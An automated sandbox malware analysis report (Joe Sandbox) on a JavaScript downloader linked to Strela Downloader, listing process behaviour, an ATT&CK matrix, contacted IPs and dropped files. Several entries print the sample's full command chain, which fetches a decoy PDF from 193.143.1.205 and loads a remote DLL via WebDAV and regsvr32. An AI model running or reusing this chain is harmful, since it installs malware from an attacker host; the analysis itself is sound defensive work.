Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4598			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5275			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2124	Thread sleep count: 4598 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 340	Thread sleep count: 5275 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4108	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5216	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7080	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7208	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1758004700.00000283908B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000006.00000002.1840199655.00000200A68D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1840199655.00000200A692A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3043336819.00000234C505B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3042270085.00000234BFA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1697943393056527466.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/mPs0	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Num	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/YPg0	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1758004700.00000283908B9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/Num	net.exe, 00000006.00000002.1840199655.00000200A68D1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/mPs0	net.exe, 00000006.00000002.1840199655.00000200A6903000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/YPg0	net.exe, 00000006.00000002.1840199655.00000200A6903000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3043241403.00000234C5000000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1840199655.00000200A6903000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1840199655.00000200A691D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high
http://crl.mi	svchost.exe, 00000008.00000002.3043395616.00000234C50C2000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587706
Start date and time:	2025-01-10 17:12:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1697943393056527466.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.16.168.107, 2.16.168.105, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 23.204.152.210, 23.204.152.213, 192.168.2.4, 52.149.20.212, 23.41.168.139, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 1697943393056527466.js

Simulations

Behavior and APIs

Time	Type	Description
11:13:06	API Interceptor	22x Sleep call for process: powershell.exe modified
11:13:09	API Interceptor	1x Sleep call for process: net.exe modified
11:13:10	API Interceptor	2x Sleep call for process: svchost.exe modified
11:13:22	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073628574222735
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrH:KooCEYhgYEL0In
MD5:	07435F372466F5C144720110F797796F
SHA1:	0EF8A20894748D71DE3F31D9EAF05F43392EDF30
SHA-256:	15F90D8268717A7DA8EE97AA8853094E20C811C81C6A482634027A5E6AE602EB
SHA-512:	180AEFDD984D50CFDE4BEDBB493B32157D69D72AA6207BDE87D81708800D712FD6F471B9C5461C7A4F35E25568104543134CF906836B8BA7DCC9FF5D12A40E23
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

